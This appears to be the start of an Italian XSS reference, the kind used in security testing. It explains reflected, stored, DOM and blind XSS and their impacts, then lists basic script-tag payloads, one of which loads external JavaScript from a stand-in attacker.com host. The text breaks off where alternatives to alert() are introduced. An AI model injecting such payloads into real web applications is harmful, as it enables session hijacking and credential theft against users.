
Riferimento completo su XSS che copre payload reflected, stored, DOM e blind, bypass dei filtri, evasione WAF, bypass CSP, mXSS e casi di studio reali su CVE.
Il riferimento XSS più completo su GitHub.
Reflected · Stored · DOM · Blind XSS — payload, bypass dei filtri, evasione WAF, bypass CSP, mXSS, catene di prototype pollution e CVE reali. Aggiornato al 2026.
Payload · Bypass dei filtri · Evasione WAF · DOM XSS · Bypass CSP · Blind XSS · Avanzate · Strumenti
Il Cross-Site Scripting (XSS) è un attacco di code injection lato client in cui un attaccante inietta script malevoli nei contenuti serviti da un'applicazione web attendibile. Quando il browser della vittima esegue il rendering della pagina, lo script iniettato viene eseguito con gli stessi privilegi degli script legittimi di quell'origine.
L'XSS è costantemente nella OWASP Top 10 perché l'impatto è grave e la superficie d'attacco è enorme:
| Impatto | Descrizione |
|---|---|
| Session Hijacking | Rubare document.cookie e assumere il controllo di sessioni autenticate |
| Account Takeover | Cambiare email/password tramite richieste contraffatte usando la sessione della vittima |
| Keylogging | Catturare ogni pressione di tasto, incluse password e numeri di carta di credito |
| Phishing | Iniettare moduli di login falsi che inviano le credenziali all'attaccante |
| Defacement | Modificare il contenuto della pagina per diffondere disinformazione o mettere in imbarazzo il bersaglio |
| Distribuzione di malware | Reindirizzare le vittime verso exploit kit |
| Crypto Mining | Eseguire cryptominer nei browser delle vittime |
| SSRF / Scansione di porte interne | Usare il browser della vittima per sondare la rete interna |
| Raccolta di credenziali | Leggere le credenziali compilate automaticamente dal DOM |
| Screenshot / Webcam | Catturare lo schermo tramite getDisplayMedia(), la webcam tramite getUserMedia() |
XSS aggira la Same-Origin Policy (SOP). Poiché lo script malevolo viene servito dall'origine del bersaglio, il browser lo considera attendibile. Ciò significa che XSS fornisce a un attaccante:
HttpOnlylocalStorage e sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Tipo | Persistenza | Chi viene colpito | Il server vede il payload? |
|---|---|---|---|
| Riflesso | No | Vittima mirata | Sì |
| Memorizzato | Sì | Tutti i visitatori | Sì |
| DOM | No | Vittima mirata | Di solito no |
| Cieco | Sì (remoto) | Admin / utente backend | Sì (nel punto di iniezione) |
I payload fondamentali che ogni ricercatore di sicurezza conosce. Funzionano dove non esiste alcun filtro.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert (quando alert è bloccato)Molte applicazioni moderne e WAF bloccano la parola alert. Usa queste alternative: